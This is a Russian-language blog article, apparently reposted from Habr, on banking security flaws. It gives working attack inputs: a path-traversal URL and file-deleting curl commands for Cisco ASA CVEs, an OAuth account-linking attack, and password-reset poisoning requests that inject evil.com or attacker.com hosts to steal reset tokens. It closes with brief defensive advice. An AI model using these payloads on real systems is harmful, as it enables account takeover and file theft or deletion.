Проблемы безопасности онлайн банков

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Привет друзья!

Сегодня речь пойдет о насущных проблемах безопасности банковских систем, мы разберем часто встречающиеся уязвимости и сделаем выводы на основе актуальных проблем.

Важно

Опять же, автор не гарантирует вам показать как полностью защитить вашу систему от кибер угроз, лишь хочет показать на какие проблемы следует обратить ваше внимание

1. SSL VPN Сервисы

Очень часто банки используют Cisco SSL VPN сервисы для организации удаленного доступа в свою внутреннюю сеть

Это хорошо, но.. В Cisco существуют две потенциальные уязвимости CVE-2020-3452 и CVE-2020-3187

1.1. CVE-2020-3452

CVE-2020-3452 - это уязвимость обхода пути только для чтения в программном обеспечении Cisco ASA и FTD. Удаленный злоумышленник, не прошедший проверку подлинности, может воспользоваться этой уязвимостью, отправив специально созданный HTTP-запрос в уязвимую систему.

Воспроизведение данной уязвимости очень проста для злоумышленника

https://bank.com/+CSCOT+/translation-table?type=mst&textdomain=/%252bCSCOE%252b/portal_inc.lua&default-language&lang=../

Ответ

Вот так мы прочитываем файлы, в которых можно найти конфиденциальную информацию.

1.2. CVE-2020-3187

Эксплойт может позволить злоумышленнику просмотреть или удалить произвольные файлы в целевой системе

Для воспроизведения уязвимости нужно узнать дает ли /session_password.html ответ 200

curl -k -s -i https://Cisco-VPN/+CSCOE+/session_password.html

Дает результат 200? - Отлично

Попробуем удалить файл с логотипом "/+CSCOU+/csco_logo.gif"

curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://Cisco-VPN/+CSCOE+/session_password.html

С VPN сервисами закончили.

2. Аутентификация & OAuth

Разработчики онлайн-банкинга часто допускают ошибки при реализации единого входа (SSO) на основе протокола OAuth 2.0, что может привести к перехвату учетных данных, отправленных по незащищенному протоколу, и захвату сеанса злоумышленником.

Пример

GET /auth/sso/cb?code=[sso token account] HTTP/1.1
Host: bank.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

Обычно в таких запросах обязательно должны стоять CSRF ключи для проверки подлинности. Но если их нет - злоумышленник может развить свою атаку.

  1. Регистрация аккаунта SSO

  2. При попытке привязать свой аккаунт SSO к банку, злоумышленник перехватывает запрос тот что в верху

  3. Отправляет сгенерированную ссылку жертве.

  4. Аккаунт SSO хакера привязан к банку жертвы.

Или например иногда некоторые механизмы позволяют перехватывать redirect_uri - тоесть обычно в нем вписывается url куда должны поступить токены для авторизации. Иногда такая защита не работает должным образом и злоумышленник подставляет свой сайт/сервер куда впоследствии перейдут токены пользователя.

Захват учетной записи через сброс пароля

Эксплуатация

POST https://bank.com/reset.php HTTP/1.1
Accept: /
Content-Type: application/json
Host: evil.com

или

Host: bank.com
X-Forwarded-Host: attacker.com

Ну или

Host: target.com
Host: attacker.com

При восстановлении пороля злоумышленник должен указать email адрес жертвы и в загаловках попытаться внедрить свой хост.

При успешной реализации атаки на почту пользователю придет следущее

https://evil.com/reset-password.php?token=12345678-1234-1234-1234-12345678901

Как мы видим сервер подставил вместо хоста банка - хост хакера. И если пользователь перейдет по ссылке, то злоумышленник получить токены для авторизации.

Иногда можно не изменять хост в загаловках и поступить другим образом.

POST /resetPassword
[…]
email=victim@email.com&email=attacker@email.com

В запросе видно что злоумышленник просто продублировал параметр email и указал свою почту на которую прийдет токен авторизации.

Вывод

Постоянно обновляйте свои службы будь то SSL VPN, или GlobalProtect.

Следите за безопасностью аутентификации

Также как совет используйте брандмауэр веб-приложений ( WAF ), чтобы предотвратить использование уязвимостей, вызванных изменениями кода.

Удачи! Всего доброго.

Источник: https://habr.com/ru/post/543432/


Интересные статьи

Интересные статьи

Привет, Хабр! Я консультант по информационной безопасности в Swordfish Security по части выстраивания безопасного DevOps для наших заказчиков. Я слежу за тем, как развивается тенденц...
Говорят, что лучший пароль — тот, который не надо запоминать. В случае с MySQL это реально благодаря плагину auth_socket и его версии для MariaDB — unix_socket. Оба эти плагина — вовсе не новы...
Действие первое. Действие второе. — Алло, Имя Отчество, подскажите, где вы сейчас находитесь? — Так, ну я дошел до банкомата в принципе. Что нужно делать? — Снимать денежные средст...
Если честно, к Д7 у меня несколько неоднозначное отношение. В некоторых местах я попискиваю от восторга, а в некоторых хочется топать ногами и ругаться неприличными словами.
Содержание Глава 1: использование нейросетей для распознавания рукописных цифр Глава 2: как работает алгоритм обратного распространения Глава 3: ч.1: улучшение способа обучения нейросетей ...